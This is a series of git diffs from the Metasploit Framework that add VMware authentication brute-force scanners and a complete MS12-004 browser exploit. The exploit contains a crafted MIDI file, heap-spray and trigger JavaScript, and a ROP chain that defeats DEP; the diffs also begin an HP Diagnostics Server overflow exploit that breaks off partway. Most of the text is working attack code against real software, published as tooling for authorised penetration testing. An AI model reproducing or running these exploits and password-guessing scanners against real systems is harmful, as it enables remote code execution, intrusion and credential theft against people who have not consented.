@ -105,23 +105,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
begin
|
||||
# Samba has two interesting behaviors:
|
||||
# 1) Invalid users receive a guest login
|
||||
# 2) Valid users return a STATUS_LOGON_FAILURE
|
||||
unless(smb_peer_os == 'Unix')
|
||||
# Print the guest login message only for non-Samba
|
||||
guest = true
|
||||
@accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost)
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:proto => 'tcp',
|
||||
:sname => 'smb',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'smb.account.info',
|
||||
:data => 'accepts guest login from any account',
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
guest = true
|
||||
@accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost)
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:proto => 'tcp',
|
||||
:sname => 'smb',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'smb.account.info',
|
||||
:data => 'accepts guest login from any account',
|
||||
:update => :unique_data
|
||||
)
|
||||
end unless(simple.client.auth_user)
|
||||
|
||||
disconnect()
|
||||
|
@ -255,16 +249,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if(simple.client.auth_user)
|
||||
print_status("Auth-User: #{simple.client.auth_user.inspect}")
|
||||
print_good("#{smbhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) '#{splitname(user)}' : '#{pass}'")
|
||||
else
|
||||
# Samba has two interesting behaviors:
|
||||
# 1) Invalid users receive a guest login
|
||||
# 2) Valid users return a STATUS_LOGON_FAILURE
|
||||
unless(smb_peer_os == 'Unix')
|
||||
# Print the guest login message only for non-Samba
|
||||
print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass}")
|
||||
@accepts_guest_logins[rhost] = [user, pass] unless datastore['RECORD_GUEST']
|
||||
end
|
||||
print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass}")
|
||||
@accepts_guest_logins[rhost] = [user, pass] unless datastore['RECORD_GUEST']
|
||||
end
|
||||
|
||||
disconnect()
|
||||
|
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
@@cached_rsa_key = nil
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Authentication Daemon Login Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will test vmauthd logins on a range of machines and
|
||||
report successful logins.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(902)])
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
connect
|
||||
rescue
|
||||
print_error "Could not connect to #{ip}:#{datastore['RPORT']}"
|
||||
return
|
||||
end
|
||||
|
||||
banner = sock.get_once.chomp
|
||||
print_status "Banner: #{banner}"
|
||||
|
||||
unless banner.include? "VMware Authentication Daemon"
|
||||
print_error "This does not appear to be a vmauthd service"
|
||||
return
|
||||
end
|
||||
|
||||
if banner.include? "SSL"
|
||||
print_status("Switching to SSL connection...")
|
||||
swap_sock_plain_to_ssl
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
result = do_login(user, pass)
|
||||
case result
|
||||
when :failed
|
||||
print_error("#{ip}:#{datastore['RPORT']} vmauthd login FAILED - #{user}:#{pass}")
|
||||
when :success
|
||||
print_good("#{ip}:#{datastore['RPORT']} vmauthd login SUCCESS - #{user}:#{pass}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'vmauthd',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
return if datastore['STOP_ON_SUCCESS']
|
||||
else
|
||||
print_error("#{ip}:#{datastore['RPORT']} #{res}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def do_login(user, pass, nsock=self.sock)
|
||||
nsock.put("USER #{user}\r\n")
|
||||
res = nsock.get_once
|
||||
unless res.start_with? "331"
|
||||
ret_msg = "received unexpected reply to the USER command: #{res}"
|
||||
return ret_msg
|
||||
end
|
||||
nsock.put("PASS #{pass}\r\n")
|
||||
res = nsock.get_once
|
||||
if res.start_with? "530"
|
||||
return :failed
|
||||
elsif res.start_with? "230"
|
||||
return :success
|
||||
else
|
||||
ret_msg = "received unexpected reply to the PASS command: #{res}"
|
||||
return ret_msg
|
||||
end
|
||||
end
|
||||
|
||||
def swap_sock_plain_to_ssl(nsock=self.sock)
|
||||
ctx = generate_ssl_context()
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
|
||||
|
||||
ssl.connect
|
||||
|
||||
nsock.extend(Rex::Socket::SslTcp)
|
||||
nsock.sslsock = ssl
|
||||
nsock.sslctx = ctx
|
||||
end
|
||||
|
||||
def generate_ssl_context
|
||||
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
|
||||
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
|
||||
|
||||
ctx.key = @@cached_rsa_key
|
||||
|
||||
ctx.session_id_context = Rex::Text.rand_text(16)
|
||||
|
||||
return ctx
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Web Login Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module attempts to authenticate to the VMWare HTTP service
|
||||
for VmWare Server, ESX, and ESXI',
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
result = do_login(user, pass)
|
||||
case result
|
||||
when :success
|
||||
print_good "#{ip}:#{rport} - Successful Login! (#{user}:#{pass})"
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
return if datastore['STOP_ON_SUCCESS']
|
||||
when :fail
|
||||
print_error "#{ip}:#{rport} - Login Failure (#{user}:#{pass})"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def do_login(user, pass)
|
||||
soap_data = '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<SOAP-ENV:Body>
|
||||
<Login xmlns="urn:vim25">
|
||||
<_this type="SessionManager">ha-sessionmgr</_this>
|
||||
<userName>' + user + '</userName>
|
||||
<password>' + pass + '</password>
|
||||
</Login>
|
||||
</SOAP-ENV:Body>
|
||||
</SOAP-ENV:Envelope>'
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sdk',
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
if res.code == 200
|
||||
return :success
|
||||
else
|
||||
return :fail
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
|
||||
cmd = "C:\\windows\\system32\\attrib.exe -r " +
|
||||
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
|
||||
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
|
||||
|
||||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
|
|
|
@ -0,0 +1,469 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a heap overflow vulnerability in the Windows Multimedia
|
||||
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
|
||||
MIDI files. Remote code execution can be achieved by using Windows Media Player's
|
||||
ActiveX control.
|
||||
|
||||
Exploitation is done by supplying a specially crafted MIDI file with
|
||||
specific events, causing the offset calculation being higher than how much is
|
||||
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
|
||||
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
|
||||
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
|
||||
which leverages remote code execution under the context of the user.
|
||||
|
||||
At this time, for IE 8 target, JRE (Java Runtime Environment) is required
|
||||
to bypass DEP (Data Execution Prevention).
|
||||
|
||||
Note: Based on our testing, the vulnerability does not seem to trigger when
|
||||
the victim machine is operated via rdesktop.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Shane Garrett', #Initial discovery (IBM X-Force)
|
||||
'juan vazquez',
|
||||
'sinn3r',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS12-004'],
|
||||
[ 'CVE', '2012-0003' ],
|
||||
[ 'OSVDB', '78210'],
|
||||
[ 'BID', '51292'],
|
||||
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "process",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 6 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => false,
|
||||
'DispatchDst' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 7 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => false,
|
||||
'DispatchDst' => 0x0c0c0c0c
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 8 on Windows XP SP3',
|
||||
{
|
||||
# xchg ecx,esp
|
||||
# or byte ptr [eax],al
|
||||
# add byte ptr [edi+5Eh],bl
|
||||
# ret 8
|
||||
# From IMAGEHLP
|
||||
'Rop' => true,
|
||||
'StackPivot' => 0x76C9B4C2,
|
||||
'DispatchDst' => 0x0c0c1be4
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jan 10 2012",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_target(request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_status("Request from: #{agent}")
|
||||
|
||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
||||
#Windows XP SP3 + IE 6.0
|
||||
return targets[1]
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
|
||||
#Windows XP SP3 + IE 7.0
|
||||
return targets[2]
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
||||
#Windows XP SP3 + IE 8.0 + JRE6
|
||||
return targets[3]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def get_midi
|
||||
# MIDI Fileformat Reference:
|
||||
# http://www.sonicspot.com/guide/midifiles.html
|
||||
#
|
||||
# Event Types:
|
||||
# 0x08 = Note Off (when MIDI key is released)
|
||||
# 0x09 = Note On (when MIDI key is pressed)
|
||||
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
|
||||
# 0x0B = Controller Event (MIDI channels state)
|
||||
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
|
||||
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
|
||||
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
|
||||
# 0x0F = Meta Events (not sent or received over a midi port)
|
||||
|
||||
# Structure:
|
||||
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
|
||||
|
||||
# Track Chunk Data
|
||||
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
|
||||
# Meta Event - Sequence/Track Name
|
||||
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
|
||||
# Midi Channel Event - Program Change
|
||||
tc << "\x00\xC9\x28"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x07\x64"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x0A\x40"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x7B\x00"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x5B\x28"
|
||||
# Midi Channel Event - Controller
|
||||
tc << "\x00\xB9\x5D\x00"
|
||||
# Midi Channel Event - Note On
|
||||
tc << "\x85\x50\x99\x23\x7F"
|
||||
|
||||
# Corruption events
|
||||
# Midi Channel Event - Note On
|
||||
tc << "\x00\x9F\xb2\x73"
|
||||
# Ends Corruption events
|
||||
|
||||
# Meta Event - End Of Track
|
||||
tc << "\x00\xFF\x2F\x00"
|
||||
m = ''
|
||||
# HEADERCHUNK Header
|
||||
m << "MThd" # Header
|
||||
m << "\x00\x00\x00\x06" # Chunk size
|
||||
m << "\x00\x00" # Format Type
|
||||
m << "\x00\x01" # Number of tracks
|
||||
m << "\x00\x60" # Time division
|
||||
# TRACKCHUNK header
|
||||
m << "MTrk" # Header
|
||||
m << [tc.length].pack('N')
|
||||
m << tc
|
||||
|
||||
midi_name = "test_case.mid"
|
||||
|
||||
return midi_name, m
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if request.uri =~ /\.mid$/i
|
||||
print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
|
||||
return
|
||||
end
|
||||
|
||||
#Set default target
|
||||
my_target = target
|
||||
|
||||
#If user chooses automatic target, we choose one based on user agent
|
||||
if my_target.name =~ /Automatic/
|
||||
my_target = get_target(request)
|
||||
if my_target.nil?
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
|
||||
return
|
||||
end
|
||||
vprint_status("Target selected: #{my_target.name}")
|
||||
end
|
||||
|
||||
midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
||||
midi_uri << "/#{@m_name}"
|
||||
|
||||
spray = build_spray(my_target)
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
spray = ::Rex::Exploitation::JSObfu.new(spray)
|
||||
spray.obfuscate
|
||||
end
|
||||
|
||||
trigger = build_trigger(my_target)
|
||||
trigger_fn = "trigger"
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
|
||||
trigger.obfuscate
|
||||
trigger_fn = find_trigger_fn(trigger.to_s)
|
||||
end
|
||||
|
||||
html = %Q|
|
||||
<html>
|
||||
<head>
|
||||
<script language='javascript'>
|
||||
#{spray}
|
||||
</script>
|
||||
<script language='javascript'>
|
||||
#{trigger}
|
||||
</script>
|
||||
<script for=audio event=PlayStateChange(oldState,newState)>
|
||||
if (oldState == 3 && newState == 0) {
|
||||
#{trigger_fn}();
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
|
||||
<param name="fileName" value="#{midi_uri}">
|
||||
<param name="SendPlayStateChangeEvents" value="true">
|
||||
<param NAME="AutoStart" value="True">
|
||||
<param name="uiMode" value="mini">
|
||||
<param name="Volume" value="-300">
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def exploit
|
||||
@m_name, @midi = get_midi
|
||||
super
|
||||
end
|
||||
|
||||
def build_spray(my_target)
|
||||
|
||||
# Extract string based on target
|
||||
if my_target.name == 'IE 8 on Windows XP SP3'
|
||||
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
|
||||
else
|
||||
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
||||
end
|
||||
|
||||
# Build shellcode based on Rop requirement
|
||||
if my_target['Rop']
|
||||
code = create_rop_chain(my_target)
|
||||
code << payload.encoded
|
||||
shellcode = Rex::Text.to_unescape(code)
|
||||
else
|
||||
code = payload.encoded
|
||||
shellcode = Rex::Text.to_unescape(code)
|
||||
end
|
||||
|
||||
# 1. Create big block of nops
|
||||
# 2. Compose one block which is nops + shellcode
|
||||
# 3. Repeat the block
|
||||
# 4. Extract string from the big block
|
||||
# 5. Spray
|
||||
spray = <<-JS
|
||||
var heap_obj = new heapLib.ie(0x10000);
|
||||
|
||||
var code = unescape("#{shellcode}");
|
||||
var nops = unescape("%u0c0c%u0c0c");
|
||||
|
||||
while (nops.length < 0x1000) nops+= nops;
|
||||
|
||||
var shellcode = nops.substring(0,0x800 - code.length) + code;
|
||||
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
|
||||
#{js_extract_str}
|
||||
|
||||
heap_obj.gc();
|
||||
for (var i=0; i < 600; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
|
||||
JS
|
||||
|
||||
spray = heaplib(spray, {:noobfu => true})
|
||||
return spray
|
||||
end
|
||||
|
||||
# Build the JavaScript string for the attributes
|
||||
def build_element(element_name, my_target)
|
||||
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
|
||||
element = ''
|
||||
|
||||
if my_target.name =~ /IE 8/
|
||||
max = 63 # Number of attributes for IE 8
|
||||
index = 1 # Where we want to confuse the type
|
||||
else
|
||||
max = 55 # Number of attributes for before IE 8
|
||||
index = 0 # Where we want to confuse the type
|
||||
end
|
||||
|
||||
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
|
||||
|
||||
# Build attributes
|
||||
0.upto(max) do |i|
|
||||
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
|
||||
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
|
||||
end
|
||||
|
||||
return element
|
||||
end
|
||||
|
||||
# Feng Shui and triggering Steps:
|
||||
# 1. Run the garbage collector before allocations
|
||||
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
|
||||
# 3. Make holes
|
||||
# 4. Let windows media play the crafted midi file and corrupt the heap
|
||||
# 5. Force the using of the confused tagVARIANT.
|
||||
def build_trigger(my_target)
|
||||
|
||||
if my_target.name == 'IE 8 on Windows XP SP3'
|
||||
|
||||
# Redoing the feng shui if fails makes it reliable
|
||||
js_trigger = <<-JSTRIGGER
|
||||
function trigger(){
|
||||
var k = 999;
|
||||
while (k > 0) {
|
||||
if (typeof(clones[k].w1) == "string") {
|
||||
} else {
|
||||
clones[k].w1('come on!');
|
||||
}
|
||||
k = k - 2;
|
||||
}
|
||||
feng_shui();
|
||||
document.audio.Play();
|
||||
}
|
||||
JSTRIGGER
|
||||
|
||||
select_element = build_element('selob', my_target)
|
||||
else
|
||||
|
||||
js_trigger = <<-JSTRIGGER
|
||||
function trigger(){
|
||||
var k = 999;
|
||||
while (k > 0) {
|
||||
if (typeof(clones[k].w0) == "string") {
|
||||
} else {
|
||||
clones[k].w0('come on!');
|
||||
}
|
||||
k = k - 2;
|
||||
}
|
||||
feng_shui();
|
||||
document.audio.Play();
|
||||
}
|
||||
JSTRIGGER
|
||||
|
||||
select_element = build_element('selob', my_target)
|
||||
end
|
||||
|
||||
trigger = <<-JS
|
||||
var heap = new heapLib.ie();
|
||||
#{select_element}
|
||||
var clones=new Array(1000);
|
||||
|
||||
function feng_shui() {
|
||||
|
||||
heap.gc();
|
||||
|
||||
var i = 0;
|
||||
while (i < 1000) {
|
||||
clones[i] = selob.cloneNode(true)
|
||||
i = i + 1;
|
||||
}
|
||||
|
||||
var j = 0;
|
||||
while (j < 1000) {
|
||||
delete clones[j];
|
||||
CollectGarbage();
|
||||
j = j + 2;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
feng_shui();
|
||||
|
||||
#{js_trigger}
|
||||
JS
|
||||
|
||||
trigger = heaplib(trigger, {:noobfu => true})
|
||||
return trigger
|
||||
end
|
||||
|
||||
def find_trigger_fn(trigger)
|
||||
fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/)
|
||||
if fns.nil? or fns.empty?
|
||||
return "trigger"
|
||||
else
|
||||
return fns.last.first
|
||||
end
|
||||
return "trigger"
|
||||
end
|
||||
|
||||
def junk(n=1)
|
||||
tmp = []
|
||||
value = rand_text(4).unpack("L")[0].to_i
|
||||
n.times { tmp << value }
|
||||
return tmp
|
||||
end
|
||||
|
||||
# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
|
||||
# Added a little of roping to adjust the stack pivoting for this case
|
||||
# Specific for IE8 XP SP3 case at this time
|
||||
def create_rop_chain(my_target)
|
||||
|
||||
rop_gadgets =
|
||||
[
|
||||
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||
my_target['StackPivot'], # stackpivot
|
||||
junk, # padding
|
||||
0x7c376402, # POP EBP # RETN [msvcr71.dll]
|
||||
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
||||
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
|
||||
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
||||
0x7c354901, # POP EBX # RETN [msvcr71.dll]
|
||||
0xffffffff,
|
||||
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
||||
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
||||
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
||||
0x7c38b001, # &Writable location [msvcr71.dll]
|
||||
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
|
||||
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||||
0x7c364802, # POP ESI # RETN [msvcr71.dll]
|
||||
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
||||
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
||||
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
|
||||
].flatten.pack('V*')
|
||||
|
||||
return rop_gadgets
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#Default target
|
||||
my_target = target
|
||||
|
||||
print_status("User-Agent: #{request.headers['User-Agent']}") if datastore['VERBOSE']
|
||||
vprint_status("User-Agent: #{request.headers['User-Agent']}")
|
||||
|
||||
if target.name == 'Automatic'
|
||||
agent = request.headers['User-Agent']
|
||||
|
@ -126,12 +126,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#Pick the right target
|
||||
my_target = get_target(cli, request)
|
||||
if my_target.nil?
|
||||
print_error("Target not supported") if datastore['VERBOSE']
|
||||
vprint_error("Target not supported")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("URL: #{request.uri.to_s}") if datastore['VERBOSE']
|
||||
vprint_status("URL: #{request.uri.to_s}")
|
||||
|
||||
#Send the trigger file upon request
|
||||
if request.uri.match(/\.amv/)
|
||||
|
|
|
@ -321,7 +321,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return xml
|
||||
end
|
||||
|
||||
def u3d_pad(str, char="\x00")
|
||||
def u3d_pad(str, char="\x00")
|
||||
len = str.length % 4
|
||||
if (len > 0)
|
||||
#puts "Adding %d pad bytes" % (4 - len)
|
||||
|
@ -385,7 +385,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
3, # Bone Index (no Quantized Weight)
|
||||
# 2
|
||||
0x55550000, # Bone Weight Count
|
||||
0x4c1df36e, # Bone Index
|
||||
0x4c1df36e, # Bone Index
|
||||
0x0200d002, # Quantized Weight
|
||||
# 3
|
||||
0x95000074, # Bone Weight Count
|
||||
|
@ -397,7 +397,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
|
||||
bone_weight << bone_weight_data
|
||||
|
||||
new_objtype1_data =
|
||||
new_objtype1_data =
|
||||
"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+
|
||||
"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+
|
||||
"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
|
||||
|
@ -651,4 +651,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
pdf << "%%EOF" << eol
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Diagnostics Server magentservice.exe overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in HP Diagnostics Server
|
||||
magentservice.exe service. By sending a specially crafted packet, an attacker
|
||||
may be able to execute arbitrary code. Originally found and posted by
|
||||
AbdulAziz Harir via ZDI.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'AbdulAziz Hariri', # Original discovery
|
||||
'hal', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '72815'],
|
||||
['CVE', '2011-4789'],
|
||||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-016/']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh',
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'SSL3'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Diagnostics Server 9.10',
|
||||
{
|
||||
# pop esi # pop ebx # ret 10
|
||||
# magentservice.exe
